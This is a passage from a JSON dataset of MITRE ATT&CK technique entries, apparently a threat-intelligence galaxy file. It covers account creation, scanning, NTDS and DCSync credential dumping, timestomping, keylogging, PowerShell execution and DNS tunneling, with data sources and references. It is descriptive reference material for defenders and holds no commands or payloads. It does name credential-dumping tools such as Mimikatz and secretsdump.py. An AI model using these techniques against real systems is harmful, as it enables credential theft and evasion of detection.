"https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf"
]
},
"uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb",
"value": "Native Code - T1575"
},
{
"description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)",
"meta": {
"external_id": "T1585",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Persona: Social Media"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://attack.mitre.org/techniques/T1585",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
]
},
"uuid": "cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
"value": "Establish Accounts - T1585"
},
{
"description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"meta": {
"external_id": "T1595",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1595",
"https://wiki.owasp.org/index.php/OAT-004_Fingerprinting",
"https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
]
},
"uuid": "67073dde-d720-45ae-83da-b12d5e73ca3b",
"value": "Active Scanning - T1595"
},
{
"description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
"meta": {
"external_id": "T1586",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Persona: Social Media"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/",
"https://attack.mitre.org/techniques/T1586"
]
},
"uuid": "81033c3b-16a4-46e4-8fed-9b030dd03c4a",
"value": "Compromise Accounts - T1586"
},
{
"description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
"meta": {
"external_id": "T1568",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
"https://attack.mitre.org/techniques/T1568",
"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
]
},
"uuid": "7bd9c723-2f78-4309-82c5-47cad406572b",
"value": "Dynamic Resolution - T1568"
},
{
"description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",
"meta": {
"external_id": "T1569",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1569"
]
},
"uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253",
"value": "System Services - T1569"
},
{
"description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",
"meta": {
"external_id": "T1587",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content",
"Malware Repository: Malware Content",
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1587",
"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
]
},
"uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
"value": "Develop Capabilities - T1587"
},
{
"description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
"meta": {
"external_id": "T1588",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Certificate: Certificate Registration",
"Internet Scan: Response Content",
"Malware Repository: Malware Content",
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588",
"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/",
"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop",
"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html",
"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/",
"https://www.recordedfuture.com/cobalt-strike-servers/",
"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
]
},
"uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"value": "Obtain Capabilities - T1588"
},
{
"description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.",
"meta": {
"external_id": "CAPEC-94",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:collection"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1557",
"https://capec.mitre.org/data/definitions/94.html",
"https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
]
},
"uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
"value": "Adversary-in-the-Middle - T1557"
},
{
"description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
"meta": {
"external_id": "T1137.006",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1137/006",
"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
"https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf",
"https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
]
},
"related": [
{
"dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"type": "subtechnique-of"
}
],
"uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d",
"value": "Add-ins - T1137.006"
},
{
"description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
"meta": {
"external_id": "T1218.009",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/009",
"https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
"https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
"https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8",
"value": "Regsvcs/Regasm - T1218.009"
},
{
"description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ",
"meta": {
"external_id": "T1001.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1001/002"
]
},
"related": [
{
"dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
"type": "subtechnique-of"
}
],
"uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235",
"value": "Steganography - T1001.002"
},
{
"description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n",
"meta": {
"external_id": "T1003.003",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://adsecurity.org/?p=1275",
"https://attack.mitre.org/techniques/T1003/003",
"https://en.wikipedia.org/wiki/Active_Directory"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
"value": "NTDS - T1003.003"
},
{
"description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
"meta": {
"external_id": "T1003.006",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Access",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
"https://adsecurity.org/?p=1729",
"https://attack.mitre.org/techniques/T1003/006",
"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
"https://msdn.microsoft.com/library/cc228086.aspx",
"https://msdn.microsoft.com/library/cc237008.aspx",
"https://msdn.microsoft.com/library/cc245496.aspx",
"https://msdn.microsoft.com/library/dd207691.aspx",
"https://source.winehq.org/WineAPI/samlib.html",
"https://wiki.samba.org/index.php/DRSUAPI"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163",
"value": "DCSync - T1003.006"
},
{
"description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",
"meta": {
"external_id": "T1070.006",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata",
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
"https://attack.mitre.org/techniques/T1070/006"
]
},
"related": [
{
"dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"type": "subtechnique-of"
}
],
"uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
"value": "Timestomp - T1070.006"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1021/004",
"https://capec.mitre.org/data/definitions/555.html",
"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
]
},
"related": [
{
"dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"type": "subtechnique-of"
}
],
"uuid": "2db31dcd-54da-405d-acef-b9129b816ed6",
"value": "SSH - T1021.004"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://lists.openstack.org/pipermail/openstack/2013-December/004138.html",
"https://attack.mitre.org/techniques/T1021/005",
"https://capec.mitre.org/data/definitions/555.html",
"https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2",
"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207",
"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in",
"https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication",
"https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc",
"https://pentestlab.blog/2012/10/30/attacking-vnc-servers/",
"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins",
"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
"https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/",
"https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/",
"https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
]
},
"related": [
{
"dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"type": "subtechnique-of"
}
],
"uuid": "01327cde-66c4-4123-bf34-5f258d59457b",
"value": "VNC - T1021.005"
},
{
"description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",
"meta": {
"external_id": "T1071.004",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1071/004",
"https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000",
"https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling"
]
},
"related": [
{
"dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
"type": "subtechnique-of"
}
],
"uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
"value": "DNS - T1071.004"
},
{
"description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
"meta": {
"external_id": "CAPEC-568",
"kill_chain": [
"mitre-attack:collection",
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Driver: Driver Load",
"Process: OS API Execution",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux",
"Network"
],
"refs": [
"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
"https://attack.mitre.org/techniques/T1056/001",
"https://capec.mitre.org/data/definitions/568.html",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
]
},
"related": [
{
"dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
"type": "subtechnique-of"
}
],
"uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
"value": "Keylogging - T1056.001"
},
{
"description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
"meta": {
"external_id": "T1059.001",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
"http://www.sixdub.net/?p=367",
"https://attack.mitre.org/techniques/T1059/001",
"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/",
"https://github.com/jaredhaight/PSAttack",
"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/",
"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
"value": "PowerShell - T1059.001"
},
{
"description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ",
"meta": {
"external_id": "CAPEC-636",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1027/003",
"https://capec.mitre.org/data/definitions/636.html",
"https://en.wikipedia.org/wiki/Duqu",
"https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"
]
},
"related": [
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"type": "subtechnique-of"
}
],
"uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
